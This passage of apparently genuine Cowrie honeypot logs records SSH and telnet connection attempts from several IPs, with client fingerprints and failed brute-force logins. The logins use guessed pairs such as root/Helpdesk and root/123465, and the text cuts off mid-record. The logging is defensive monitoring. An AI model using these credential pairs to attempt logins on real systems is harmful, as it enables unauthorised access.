{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:52.044066Z","src_ip":"68.183.178.130","session":"9867a7549a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:52.281023Z","src_ip":"68.183.178.130","session":"9867a7549a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:53.272289Z","src_ip":"68.183.178.130","session":"9867a7549a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:03:54.513619Z","src_ip":"68.183.178.130","session":"9867a7549a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":34876,"dst_ip":"10.17.0.5","dst_port":22,"session":"a64e069aa4e9","protocol":"ssh","message":"New connection: 182.180.57.212:34876 (10.17.0.5:22) [session: a64e069aa4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:02.578664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:02.583963Z","src_ip":"182.180.57.212","session":"a64e069aa4e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:02.823362Z","src_ip":"182.180.57.212","session":"a64e069aa4e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Helpdesk","message":"login attempt [root/Helpdesk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:03.811595Z","src_ip":"182.180.57.212","session":"a64e069aa4e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:05.054527Z","src_ip":"182.180.57.212","session":"a64e069aa4e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59308,"dst_ip":"10.17.0.5","dst_port":22,"session":"300a5d378d14","protocol":"ssh","message":"New connection: 8.218.166.49:59308 (10.17.0.5:22) [session: 300a5d378d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:10.671414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:10.708376Z","src_ip":"8.218.166.49","session":"300a5d378d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34482,"dst_ip":"10.17.0.5","dst_port":22,"session":"743425944f20","protocol":"ssh","message":"New connection: 8.218.166.49:34482 (10.17.0.5:22) [session: 743425944f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:16.525758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:16.530512Z","src_ip":"8.218.166.49","session":"743425944f20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43942,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a84097b98a4","protocol":"ssh","message":"New connection: 8.218.166.49:43942 (10.17.0.5:22) [session: 5a84097b98a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:24.382931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:24.387659Z","src_ip":"8.218.166.49","session":"5a84097b98a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":52966,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc36f3110320","protocol":"ssh","message":"New connection: 68.183.178.130:52966 (10.17.0.5:22) [session: cc36f3110320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:29.038703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:29.043549Z","src_ip":"68.183.178.130","session":"cc36f3110320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:29.280709Z","src_ip":"68.183.178.130","session":"cc36f3110320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43948,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0608b0388f","protocol":"ssh","message":"New connection: 8.218.166.49:43948 (10.17.0.5:22) [session: ed0608b0388f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:30.165913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:30.171674Z","src_ip":"8.218.166.49","session":"ed0608b0388f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:30.271249Z","src_ip":"68.183.178.130","session":"cc36f3110320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:31.513083Z","src_ip":"68.183.178.130","session":"cc36f3110320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":5431,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abbeb42871f","protocol":"ssh","message":"New connection: 49.207.40.162:5431 (10.17.0.5:22) [session: 9abbeb42871f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:40.119988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:40.125432Z","src_ip":"49.207.40.162","session":"9abbeb42871f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:40.361644Z","src_ip":"49.207.40.162","session":"9abbeb42871f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:41.277534Z","src_ip":"49.207.40.162","session":"9abbeb42871f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:42.502983Z","src_ip":"49.207.40.162","session":"9abbeb42871f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":55658,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db8cea46d1e","protocol":"ssh","message":"New connection: 183.182.125.142:55658 (10.17.0.5:22) [session: 5db8cea46d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:57.010850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:57.015420Z","src_ip":"183.182.125.142","session":"5db8cea46d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:57.284997Z","src_ip":"183.182.125.142","session":"5db8cea46d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123465","message":"login attempt [root/123465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:58.401432Z","src_ip":"183.182.125.142","session":"5db8cea46d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:04:59.676925Z","src_ip":"183.182.125.142","session":"5db8cea46d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":58382,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c83452de7b","protocol":"ssh","message":"New connection: 198.23.150.42:58382 (10.17.0.5:22) [session: 18c83452de7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:02.284673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:02.290458Z","src_ip":"198.23.150.42","session":"18c83452de7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:02.316108Z","src_ip":"198.23.150.42","session":"18c83452de7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"greta","message":"login attempt [root/greta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:02.424385Z","src_ip":"198.23.150.42","session":"18c83452de7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:03.447422Z","src_ip":"198.23.150.42","session":"18c83452de7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:05.192051Z","src_ip":"8.218.166.49","session":"5a84097b98a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":52000,"dst_ip":"10.17.0.5","dst_port":22,"session":"301b5aa77b9d","protocol":"ssh","message":"New connection: 68.183.178.130:52000 (10.17.0.5:22) [session: 301b5aa77b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:06.918571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:06.923224Z","src_ip":"68.183.178.130","session":"301b5aa77b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:07.161404Z","src_ip":"68.183.178.130","session":"301b5aa77b9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:08.144351Z","src_ip":"68.183.178.130","session":"301b5aa77b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":60190,"dst_ip":"10.17.0.5","dst_port":23,"session":"e072aa12aee8","protocol":"telnet","message":"New connection: 104.238.81.133:60190 (10.17.0.5:23) [session: e072aa12aee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:08.960714Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:09.388254Z","src_ip":"68.183.178.130","session":"301b5aa77b9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","s